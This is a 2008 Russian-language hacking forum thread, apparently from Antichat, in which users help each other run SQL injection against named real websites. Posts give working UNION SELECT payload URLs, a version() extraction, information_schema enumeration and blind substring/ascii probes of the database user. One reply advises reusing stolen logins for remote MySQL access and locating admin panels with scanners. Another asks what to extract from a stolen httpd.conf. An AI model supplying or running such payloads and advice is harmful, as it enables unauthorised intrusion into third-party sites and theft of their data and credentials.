 |
|
15.06.2008, 05:00
|
|
Познающий
Регистрация: 22.09.2007
Сообщений: 42
С нами:
9808570
Репутация:
22
|
|
второй раз уже сталкиваюсь с такой ерундой:
http://www.tati.ch/shop.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23.....
так пробую до 100 колонок и все равно выдает ошибку Failed. Error: The used SELECT statements have a different number of columns
В чем проблема, может кто подскажет?
Неужели у меня руки не тем концом вставлены? =)
|
|
|
15.06.2008, 05:15
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами:
9851426
Репутация:
3908
|
|
Сообщение от lastsmile
второй раз уже сталкиваюсь с такой ерундой:
http://www.tati.ch/shop.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23.....
так пробую до 100 колонок и все равно выдает ошибку Failed. Error: The used SELECT statements have a different number of columns
В чем проблема, может кто подскажет?
Неужели у меня руки не тем концом вставлены? =)
ну как бы да))))
http://www.tati.ch/shop.php?cat=-1+union+select+1,2,version(),4/*
Последний раз редактировалось Ded MustD!e; 15.06.2008 в 05:17..
|
|
|
|
15.06.2008, 05:25
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
собственно повторюсь
появился вопрос...
вот есть инжект...
Код:
http://www.beka.ru/php/content.php?id=1614+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
ошибка на том сайте не выводится, а просто перебрасывает на главную страницу сайта.. собственно вопрос.. как определить принтабельные поля? |
|
|
|
15.06.2008, 06:02
|
|
Познающий
Регистрация: 22.09.2007
Сообщений: 42
С нами:
9808570
Репутация:
22
|
|
Сообщение от Ded MustD!e
ну как бы да))))
http://www.tati.ch/shop.php?cat=-1+union+select+1,2,version(),4/*
ппц, я что-то не додумался сразу version() или user() подставить, ошибку-то все равно показывает)))
ладно, молодой - исправлюсь =)
|
|
|
|
15.06.2008, 10:38
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
gisTy, в таком случае помогают логические запросы
например доступ к information_schema у тебя есть
Код:
http://www.beka.ru/php/content.php?id=1614+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables/*
и есть подзапросы
Код:
http://www.beka.ru/php/content.php?id=1614+and+ascii(lower(substring(user(),4,1)))=53/*
Imperou$, смотря откуда ты выдрал логин и пасс, если сайтов действительно много, большая вероятность удаленного подключения к серверу mysql, если не поможет поищи различные службы через passwd. если движок на сайте публичный можешь через гугл найти путь до админки, если не публичный помогут cgi-сканеры; тем более если на сайте есть новости значит их кто то добавляет) а вообще из названия таблицы обычно понятно к чему подходит логин:пароль)
|
|
|
|
15.06.2008, 16:30
|
|
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами:
9456679
Репутация:
97
|
|
Неактуально 
Последний раз редактировалось Imperou$; 16.06.2008 в 00:01..
|
|
|
|
15.06.2008, 17:20
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Так чё,никто не знает,где путь до конфига в httpd.conf ? Выдрал этот грёбаный фаил и что дальше ? Ничего там нету.Что искать то ? Какие директивы ?
|
|
|
|
15.06.2008, 17:49
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
Велемир, кинь в личку содержимое - я тебе покажу
|
|
|
|
15.06.2008, 19:32
|
|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
С нами:
10243046
Репутация:
3033
|
|
Велемир в закладки куда-нибудь положи https://forum.antichat.ru/thread22832.html
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
|
|
|
|
15.06.2008, 20:04
|
|
Участник форума
Регистрация: 12.03.2008
Сообщений: 159
С нами:
9559919
Репутация:
137
|
|
Сообщение от Doom123
Если там не тоит
<meta http-equiv="Content-Type" content="text/html; charset=кодировка>
можно попробовть сделать это через юникод
например как тут
http://forum.antichat.ru/showpost.php?p=658326&postcount=16
стоит
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
